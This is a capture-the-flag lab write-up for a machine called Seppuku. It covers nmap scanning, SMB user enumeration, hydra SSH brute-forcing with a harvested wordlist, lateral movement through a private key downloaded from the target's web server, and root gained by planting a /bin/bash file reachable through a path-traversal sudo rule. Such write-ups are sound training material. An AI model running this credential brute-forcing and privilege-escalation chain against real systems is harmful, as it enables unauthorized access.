

# Seppuku write-up

---

## Recon

---

### Nmap

```
nmap -sC -sV -p- 192.168.143.90 -oA seppuku-nmap
```

Starting Nmap 7.91 ( <https://nmap.org> ) at 2021-05-30 16:38 CDT

Nmap scan report for 192.168.143.90

Host is up (0.071s latency).

Not shown: 65527 closed ports

PORT	STATE	SERVICE	VERSION
------	-------	---------	---------

21/tcp	open	ftp	vsftpd 3.0.3
--------	------	-----	--------------

22/tcp	open	ssh	OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
--------	------	-----	--

| ssh-hostkey:

| 2048 cd:55:a8:e4:0f:28:bc:b2:a6:7d:41:76:bb:9f:71:f4 (RSA)

| 256 16:fa:29:e4:e0:8a:2e:7d:37:d2:6f:42:b2:dc:e9:22 (ECDSA)

|\_ 256 bb:74:e8:97:fa:30:8d:da:f9:5c:99:f0:d9:24:8a:d5 (ED25519)

80/tcp	open	http	nginx 1.14.2
--------	------	------	--------------

| http-auth:

| HTTP/1.1 401 Unauthorized\x0D

|\_ Basic realm=Restricted Content

|\_http-server-header: nginx/1.14.2

|\_http-title: 401 Authorization Required

139/tcp	open	netbios-ssn	Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
---------	------	-------------	---

445/tcp	open	netbios-ssn	Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
---------	------	-------------	--

7080/tcp	open	ssl/empowerid	LiteSpeed
----------	------	---------------	-----------

|\_http-server-header: LiteSpeed

|\_http-title: Did not follow redirect to https://192.168.143.90:7080/

| ssl-cert: Subject:

commonName=seppuku/organizationName=LiteSpeedCommunity/stateOrProvinceName=NJ/countryName=US

| Not valid before: 2020-05-13T06:51:35

|\_Not valid after: 2022-08-11T06:51:35

|\_ssl-date: 2021-05-30T21:40:42+00:00; +1s from scanner time.

| tls-alpn:

| h2

| spdy/3

| spdy/2

|\_ http/1.1


7601/tcp	open	http	Apache httpd 2.4.38 ((Debian))
----------	------	------	--------------------------------

```
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Seppuku
8088/tcp open  http          LiteSpeed httpd
|_http-server-header: LiteSpeed
|_http-title: Seppuku
Service Info: Host: SEPPUKU; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 1h00m01s, deviation: 2h00m00s, median: 1s
|_nbstat: NetBIOS name: SEPPUKU, NetBIOS user: <unknown>, NetBIOS MAC: <unknown>
(unknown)
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.9.5-Debian)
|   Computer name: seppuku
|   NetBIOS computer name: SEPPUKU\x00
|   Domain name: \x00
|   FQDN: seppuku
|_ System time: 2021-05-30T17:40:39-04:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_   Message signing enabled but not required
| smb2-time:
|   date: 2021-05-30T21:40:40
|_ start_date: N/A
```

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .  
Nmap done: 1 IP address (1 host up) scanned in 103.50 seconds

Brutforcing dirs gives us a private ssh keys and passwords, including a list.

 82aec73883786bad43fda8b099d0d1c6.png

 11a1509cce03ab349f6606edbd3cff47.png

Running enum4linux, we discover users on the box.

 2a8ee4fc730189648e26d390a4e1491f.png

Use the wordlist along with the users and run hydra.

```
hydra -L users.txt -P passwd.lst ssh://192.168.143.90 -V -t 4
```

We get a login for the seppuku user.



Checking the home directory, we find a .passwd file.



Lets try using su on other users to see if we can move lateraly.



The samurai user can sudo to ../../../../home/tanto/.cgi\_bin/bin /tmp/\* but it is not found. We can however, read and move to the tanto users home dir. We find ssh keys but cannot use them to ssh as the tanto user. We can instead grab the private key from the webpag instead and try sshing inot tanto.

```
wget http://192.168.143.90:7601/keys/private -O sshkey
chmod 600 sshkey
ssh -i sshkey tanto@127.0.0.1
```



Now that we are the tanto user, we can creat that .cgi\_bin direcotry. Move to the home directory and creat the .cgi\_bin dicrectory. Then creat the bin file and write /bin/bash too it giving it 777 permissions.

```
mkdir .cgi_bin
cd .cgi_bin/
cat >bin
/bin/bash
chmod 777 bin
```



Now su back to the samurai user and run sudo on ../../../../home/tanto/.cgi\_bin/bin /tmp/\*

You should now get a root shell

```
sudo ../../../../home/tanto/.cgi_bin/bin /tmp/*
```

